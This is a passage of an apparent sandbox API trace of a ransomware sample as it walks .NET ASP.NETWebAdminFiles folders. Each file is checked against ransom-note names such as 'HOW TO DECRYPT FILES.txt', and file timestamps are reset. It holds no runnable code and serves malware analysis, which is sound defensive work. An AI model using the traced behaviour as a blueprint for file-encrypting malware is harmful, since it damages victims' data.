ÔÀÉËÛ.txt", lpString2="ManageConsolidatedProviders.aspx") returned -1 [0137.241] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ManageConsolidatedProviders.aspx") returned -1 [0137.242] lstrcmpiA (lpString1="", lpString2="ManageConsolidatedProviders.aspx") returned -1 [0137.242] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx") returned="chooseProviderManagement.aspx" [0137.242] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" [0137.242] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="" [0137.242] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x25f1, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="ManageProviders.aspx", cAlternateFileName="MANAGE~2.ASP")) returned 1 [0137.242] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.242] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ManageProviders.aspx") returned -1 [0137.242] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ManageProviders.aspx") returned -1 [0137.242] lstrcmpiA (lpString1="", lpString2="ManageProviders.aspx") returned -1 [0137.242] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx") returned="ManageConsolidatedProviders.aspx" [0137.242] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" [0137.242] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="" [0137.243] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2483, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="ProviderList.ascx", cAlternateFileName="PROVID~1.ASC")) returned 1 [0137.243] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.243] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProviderList.ascx") returned -1 [0137.243] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProviderList.ascx") returned -1 [0137.243] lstrcmpiA (lpString1="", lpString2="ProviderList.ascx") returned -1 [0137.243] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx") returned="ManageProviders.aspx" [0137.243] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" [0137.243] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="" [0137.243] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2483, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="ProviderList.ascx", cAlternateFileName="PROVID~1.ASC")) returned 0 [0137.243] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.244] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0137.244] lstrcmpA (lpString1=".", lpString2="Security") returned -1 [0137.244] lstrcmpA (lpString1="..", lpString2="Security") returned -1 [0137.244] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.244] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.247] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.247] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0137.247] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.247] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.247] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.248] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.248] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.248] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\*.*") returned="*.*" [0137.248] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0137.251] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.251] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.251] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.251] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.251] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f02baa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe98, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="security.aspx.resx", cAlternateFileName="SECURI~1.RES")) returned 1 [0137.251] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.251] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security.aspx.resx") returned -1 [0137.251] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security.aspx.resx") returned -1 [0137.251] lstrcmpiA (lpString1="", lpString2="security.aspx.resx") returned -1 [0137.251] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*.*") returned="*.*" [0137.252] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" [0137.252] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\") returned="" [0137.254] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.254] CloseHandle (hObject=0x98) returned 1 [0137.255] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="security0.aspx.resx", cAlternateFileName="SECURI~2.RES")) returned 1 [0137.255] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.255] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security0.aspx.resx") returned -1 [0137.255] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security0.aspx.resx") returned -1 [0137.255] lstrcmpiA (lpString1="", lpString2="security0.aspx.resx") returned -1 [0137.255] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\security.aspx.resx") returned="security.aspx.resx" [0137.255] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" [0137.255] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\") returned="" [0137.256] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x52006c, dwReserved1=0x730065, cFileName="setUpAuthentication.aspx.resx", cAlternateFileName="SETUPA~1.RES")) returned 1 [0137.256] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.256] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="setUpAuthentication.aspx.resx") returned -1 [0137.256] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="setUpAuthentication.aspx.resx") returned -1 [0137.256] lstrcmpiA (lpString1="", lpString2="setUpAuthentication.aspx.resx") returned -1 [0137.256] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\security0.aspx.resx") returned="security0.aspx.resx" [0137.256] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" [0137.256] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\") returned="" [0137.256] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x52006c, dwReserved1=0x730065, cFileName="setUpAuthentication.aspx.resx", cAlternateFileName="SETUPA~1.RES")) returned 0 [0137.257] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0137.257] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Permissions", cAlternateFileName="PERMIS~1")) returned 1 [0137.257] lstrcmpA (lpString1=".", lpString2="Permissions") returned -1 [0137.257] lstrcmpA (lpString1="..", lpString2="Permissions") returned -1 [0137.257] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52006c, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502698 [0137.261] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.261] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x730000, cFileName="..", cAlternateFileName="")) returned 1 [0137.261] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.261] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.261] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.261] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.261] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.261] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0137.262] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.263] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.263] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.263] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.263] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8f4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="createPermission.aspx.resx", cAlternateFileName="CREATE~1.RES")) returned 1 [0137.263] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.263] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="createPermission.aspx.resx") returned 1 [0137.263] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="createPermission.aspx.resx") returned 1 [0137.263] lstrcmpiA (lpString1="", lpString2="createPermission.aspx.resx") returned -1 [0137.268] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.268] CloseHandle (hObject=0x9c) returned 1 [0137.268] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0137.268] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.268] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="managePermissions.aspx.resx") returned -1 [0137.269] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="managePermissions.aspx.resx") returned -1 [0137.269] lstrcmpiA (lpString1="", lpString2="managePermissions.aspx.resx") returned -1 [0137.269] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 0 [0137.269] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0137.269] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2b9a, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="createPermission.aspx", cAlternateFileName="CREATE~1.ASP")) returned 1 [0137.269] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.269] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="createPermission.aspx") returned 1 [0137.269] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="createPermission.aspx") returned 1 [0137.269] lstrcmpiA (lpString1="", lpString2="createPermission.aspx") returned -1 [0137.272] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.272] CloseHandle (hObject=0x98) returned 1 [0137.272] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x54a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0137.272] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.273] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="managePermissions.aspx") returned -1 [0137.273] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="managePermissions.aspx") returned -1 [0137.273] lstrcmpiA (lpString1="", lpString2="managePermissions.aspx") returned -1 [0137.273] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, 